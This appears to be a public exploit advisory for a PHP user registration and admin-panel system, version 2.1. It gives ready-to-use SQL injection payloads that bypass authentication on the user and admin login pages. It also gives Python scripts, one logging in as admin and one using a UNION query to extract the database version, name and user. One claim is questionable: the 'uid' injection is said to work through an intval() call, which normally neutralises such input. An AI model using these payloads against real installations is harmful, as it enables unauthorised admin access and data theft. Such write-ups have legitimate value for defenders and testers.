User Registration and Login and User Management System with admin panel version 2.1 suffers from multiple remote SQL injection vulnerabilities. One allows for authentication bypass.
88fd08a6daf9b2d083b036c848fcaef8f25a142736ba1e0a8b8ffd44987b25b9
# Exploit Title: User Registration & Login and User Management System With admin panel - Authentication Bypass
# Date: 2020-07-04
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7003L
# Version: V2.1
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)
[User Login]:
Vulnerable File:
----------------
/index.php
Vulnerable Code:
-----------------
line 62: $femail=$_POST['femail'];
Vulnerable Issue:
-----------------
$femail=$_POST['femail']; has no sanitization
POC User Login:
---------------
URL: http://localhost/loginsystem/index.php
Username : ' or '1'='1'#
Password : anything
********************************************************************************
[Admin Login]:
Vulnerable File:
----------------
/admin/index.php
Vulnerable Code:
-----------------
line 7: $adminusername=$_POST['username'];
Vulnerable Issue:
-----------------
$adminusername=$_POST['username']; has no sanitization
POC Admin Login:
---------------
URL: http://localhost/loginsystem/admin/index.php
Username : ' or '1'='1'#
Password : anything
********************************************************************************
Python Admin Login POC:
----------------------
import requests
url = "http://localhost:80/loginsystem/admin/"
payload = "username=%27+or+%271%27%3D%271%27%23&password=anything&login=Submit+Query"
headers = {
"Origin": "http://localhost",
"Cookie": "PHPSESSID=pcsmeo2gqbdmutcetaukkhmk27",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
"Connection": "close",
"Referer": "http://localhost/loginsystem/admin/",
"Host": "localhost",
"Accept-Encoding": "gzip, deflate",
"Upgrade-Insecure-Requests": "1",
"Accept-Language": "en-US,en;q=0.5",
"Content-Length": "73",
"Content-Type": "application/x-www-form-urlencoded"
}
response = requests.request("POST", url, data=payload, headers=headers)
print(response.text)
-----------------
# Exploit Title: User Registration & Login and User Management System With admin panel - 'uid' SQL Injection
# Date: 2020-07-04
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7003L
# Version: V2.1
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)
Info:
-----
[+] Any registered user can access admin pages (update-profile.php,manage-users.php,change-password.php) - no propeer ACL / session control
Vulnerable File:
----------------
/admin/update-profile.php
Vulnerable Code:
-----------------
line 15: $uid=intval($_GET['uid']);
Vulnerable Issue:
-----------------
$uid=intval($_GET['uid']); has no sanitization
POC:
----
[+] Need any registered user to be authencated first.
http://localhost/loginsystem/admin/update-profile.php?uid=11'+UNION+ALL+SELECT+NULL,NULL,CONCAT_WS(0x3a,version(),database(),user()),NULL,NULL,NULL,NULL--+-
Python Code:
------------
import requests,re
url = "http://localhost:80/loginsystem/admin/update-profile.php?uid=11%27+UNION+ALL+SELECT+NULL,NULL,CONCAT('gh1mau',version(),0x3a,database(),0x3a,user(),'gh1mau'),NULL,NULL,NULL,NULL--+-"
payload = ""
headers = {
"Cookie": "PHPSESSID=pcsmeo2gqbdmutcetaukkhmk27",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
"Connection": "close",
"Host": "localhost",
"Accept-Encoding": "gzip, deflate",
"Upgrade-Insecure-Requests": "1",
"Accept-Language": "en-US,en;q=0.5"
}
pattern = "(?<=gh1mau).*?(?=gh1mau)"
response = requests.request("GET", url, data=payload, headers=headers)
version=re.findall(pattern,response.text)
print(version)